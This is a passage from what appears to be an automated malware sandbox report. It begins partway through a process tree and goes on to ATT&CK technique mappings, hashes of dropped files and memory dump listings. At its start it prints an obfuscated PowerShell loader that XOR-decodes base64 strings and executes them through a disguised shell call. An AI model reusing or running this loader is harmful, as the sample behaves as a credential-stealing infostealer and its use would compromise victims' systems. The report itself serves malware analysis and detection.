OHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4764
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w4q5roxe\w4q5roxe.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1368
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1181.tmp" "c:\Users\Admin\AppData\Local\Temp\w4q5roxe\CSCC243B42B1AC840928E1FB390FAEFF6F4.TMP"
      4⤵
      PID:2964

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4272

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4284

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 21db44ce40f79d645bbcd2afe2986cfc1f9015e490c46935f823e7e50fb7d6cb
MD5 6b5661610160a6cb6ffb6972d2ea0ae2
SHA1 74b5ce4b371bf88382a266183838841f36b3093f
SHA512 0aaf6ef24f73cdf9e45bf9c5472533aa6caf6984a6344234ac2d83475b6b357a19ecbceb933f709c187485f73e878c24130344922ae68a24d07d805e05f8bb7b
TLSH
T14781EC323275B0D8C9167F472E2C59C053BF4356EA94AF5CB29C625ED92640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

msasn1.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll
Size 119KB
SHA256 fe8289239a81f3e1bc881e4f622e11c8e67b1d90c4a54d07a55e00a1950939d8
MD5 a6fb047749de3b890d36d2172df0ff97
SHA1 4431970ca391769bb36d72677c89e26217e006be
SHA512 3d8f6eb72f07fdf921aa4fcd000396ef5259aa7827411c691ed00742f721ff3d3334123ed178661434835b02f53d6224bd749a6e241e4d046b3e4edabf1935ed
SSDEEP 1536:nWdGfNbAkj1K3X7BQ9d0SHS7hdPFw5coos5J9PtSUDwS8U+DQAK+OAOxW4C:WdsA81ISdNQzPFzotxD789Q/+Oe
TLSH
T168C3D5D626D84E8AEA14667846DEC322773EFAF087434B03A268B0754E17FC17DC561B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 26da09a103a799dfebc7a2e73811d914573d8c306f50b01d7bc1ef47d1fb5d82
MD5 7330a99dbcc6b82f9ef7ef8cdea4cc74
SHA1 ee5bcb97d8d37a814148a421fa998b2e8c625b04
SHA512 d0f75fdbba00546d3942cc2d8420cc995d6acd5118fde998bbd59f08ef914f3ed6c2ea0cfb174111267d9bff6838e1df7ab6f95f70048ae637bfa1c6bf12f6fa
TLSH
T190217527F39C8921C88A013A109E9C0076B683D7419ECE9FAFC4D608E17F898CB61590
MD5 SHA1 SHA512 TLSH

Submit Download

RES1181.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES1181.tmp
Size 1KB
SHA256 d3cff5b5bd16e411276cc2cf45505cf3e7d05fa25ef688d2eb459fa2127bb2a6
MD5 efd2aa73a26be74c905792b558a17391
SHA1 67a925a81722281eb306388adf088730d24adf9e
SHA512 ab2b2814d90bc01d1d7b2b3c10dc404259bc0260f979b92b8edd57811a1919731906874b25935e99fefa0519ea9fa513e3a5e01e3061dd94a9cee065e58bc5ff
TLSH
T10221360597F9471BF1775B31A9F6172BA229FE55ABA2539B848012282C51104EEA0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

RESE3B4.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESE3B4.tmp
Size 1KB
SHA256 8a8fe7b14663024f1c4361fb62dcacb9db84625108cda7c8627fbc78080928b6
MD5 b006bfb28e8686be13a955de583a4f36
SHA1 f77c1c11519ffb2290147504376024ef4781ca6e
SHA512 ce7ae5e1eb8f54907530857180ff7e52902183295bc028bb8589e833bbde6bb19b44e6e429b6b16bd974c23fdaa4d51ea143b60370909aae0119172fdcc55210
TLSH
T1F5218C0553ED471EF0735B3169E6075BA724FD54EFA2575A548012282C41540DEA0EB3
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ovbqtzdh.dap.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ovbqtzdh.dap.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

legs.js

Path C:\Users\Admin\AppData\Local\Temp\legs.js
Size 77KB
SHA256 49fe73f573adfe963be35d4e5058fb441729fb4970f68d3d900207eaee0b55a8
MD5 80f75e1631aa7af1c9ecc46f40cc6236
SHA1 b53aeb4a4bcbf3dfbcb6f1ad215a0a853289751e
SHA512 08b5e34b8fd2ed0c58c0b7ff661cfded9e66df5ead015473789d586db6491524ffdfd362211a812cb76a297991440c27c6634c43400e14c06eb428ff74bf487c
SSDEEP 1536:/qN4MMMvr24U8+X3YktX3mHci14t+6rkCX:/U4MMMvr24U8+X3YktX3mHci14t+6rkw
TLSH
T19773AED9557ECE792FC98C0FC665580BDAC94A027F9F700375299CCDC2283E82AA7527
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m2himbbq.dll

Path C:\Users\Admin\AppData\Local\Temp\m2himbbq\m2himbbq.dll
Size 3KB
SHA256 c6f7b983c29dc8c79b94cc9d9793d46ee6be6ca25bd7c13f4d49fce0a37d7b2c
MD5 9ef5c27194b2d26fa29b194693e577a7
SHA1 4626990ca9773e25ab38161f94e20fcb3dd1f248
SHA512 3569ac97dd0b7df144e1ebcf80f7b51d7683370d7e4b14b9aca81d7d8625ed75ad35a7ab9b1675d37277ac9abb363bf3a329d5c23cb4c8c6682214c33f579e65
TLSH
T12251FF1A57E8462BE4B70B317EF383572774F920AF62535D4880022CAC613A06E32FB6
MD5 SHA1 SHA512 TLSH

Submit Download

w4q5roxe.dll

Path C:\Users\Admin\AppData\Local\Temp\w4q5roxe\w4q5roxe.dll
Size 3KB
SHA256 28fef26d6a9062a82e8d850db05253016f7bef6b5c15d59ef1c8909f82a7e8a4
MD5 fc0dbae5ddb4711c609dedb688b5459b
SHA1 ac1fbb367d0a7b54f416261c3b9fcc879d696cab
SHA512 7eef2d237865925451febae7349c8f76d26fe7a4765b2ee4202c4340b0226e5495e926fdab7f3ce13ffdaab50af574d41589016068ee92105ad4154fca47fe91
TLSH
T1F551E10A97E8462BE5BB0B35BEF343173774F920AB62535D4980422CAC213645E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

CSC95FA70C4830E47A9945B80C7DD58669.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\m2himbbq\CSC95FA70C4830E47A9945B80C7DD58669.TMP
Size 652B
SHA256 02f9a01e5e3cc9e9e5b5307b0547db6982eb029d0991e3254a0da2260a8301a2
MD5 6493b0c08a732e33797f722abb795a25
SHA1 a0e4270a96053c54043319103350aa8e32442727
SHA512 04ec8713f39d0f9494ea28906e93d3d770bca1f460cd1e5c1fce58ce4238410da8d13d0bbdcf9a554e374a6c18715a8e1f967387fe4776716a5be20f5a4dcd31
TLSH
T150F05E0963FC420EF0F35B30BDF683A395A8BC64EE7293ED1484131928A45509A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

m2himbbq.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\m2himbbq\m2himbbq.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

m2himbbq.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\m2himbbq\m2himbbq.cmdline
Size 369B
SHA256 4612bc5df439caa71ac4b618970a6fbd5633c81d9920600201c96fcd991f2cf4
MD5 b84d0941d2c6bf5477dccd0e2ff66ce1
SHA1 02601a7c2aed5065e7781db39ca19c60362cb182
SHA512 9f92d7cd47d388cec5f14d984a7d7093465a92fb860bac18f0a7b04a57a2580520e6c5004411be4f9be0dd12bf15bba3aa9b136445654325e696fc461b4d6be8
TLSH
T10FE0C02A5247CE7D21DE140729A9C8ACCE7207C72DC03FC490404C7ED01780027D179B
MD5 SHA1 SHA512 TLSH

Submit Download

CSCC243B42B1AC840928E1FB390FAEFF6F4.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\w4q5roxe\CSCC243B42B1AC840928E1FB390FAEFF6F4.TMP
Size 652B
SHA256 7dbab9285cb0e8863efd16822646702b1ebc8e063f24cf9b679044818116c5b7
MD5 ada15c49a73568f650dfe7052eb5fef8
SHA1 7f6314df7f5689fd1dc5bea21d3c203127062688
SHA512 b0f262a751aff8fe8590612a50a037b730db88f0838fe93f2f824b24faee56882ad86a53257101173535d6783978125a8a9903d8e1d2bf3d704f31ced57ed34c
TLSH
T15AF05E4AA3F8420EF1F34B30BEF6936791A9BC65DE3293ED148503192C645108A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

w4q5roxe.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\w4q5roxe\w4q5roxe.cmdline
Size 369B
SHA256 525958cde474adcf173e82d44d73089c0861aa8f23d620572c21b585ddeaeac0
MD5 d7465f4f1af15e90b055a198d4488cbd
SHA1 87a41cbc6f4d9e39fc9f98f1027ef76f30d2f481
SHA512 5a6dd7d0c6ebf9d5be32235a3cfac844b13d6a69b9949480da1c04799a35d75c68dad9d1521ceea81ec94a97b4c2652d1ec87dbc6d97464d124c4c106ee8b0be
TLSH
T1D2E0C62F668ACA7F01ED102B277AC4ACD2720B832980BFC4D0608E0DE2670002BD2B81
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3176-27-0x000001803D170000-0x000001803D18A000-memory.dmp

Download

memory/3176-10-0x0000018057040000-0x0000018057050000-memory.dmp

Download

memory/3176-0-0x0000018057040000-0x0000018057050000-memory.dmp

Download

memory/3176-26-0x0000018057040000-0x0000018057050000-memory.dmp

Download

memory/3176-24-0x0000018057040000-0x0000018057050000-memory.dmp

Download

memory/3176-1-0x0000018057040000-0x0000018057050000-memory.dmp

Download

memory/3176-2-0x000001803EB50000-0x000001803EB72000-memory.dmp

Download

memory/3176-23-0x000001803EB80000-0x000001803EB88000-memory.dmp

Download

memory/3176-25-0x0000018057040000-0x0000018057050000-memory.dmp

Download

memory/4764-89-0x0000029092CF0000-0x0000029092CF8000-memory.dmp

Download

memory/5012-51-0x0000013B74190000-0x0000013B746B8000-memory.dmp

Download

memory/5012-28-0x0000000000400000-0x000000000047C000-memory.dmp

Download

memory/5012-50-0x0000013B73A90000-0x0000013B73C52000-memory.dmp

Download

memory/5012-49-0x0000013B73870000-0x0000013B738C0000-memory.dmp

Download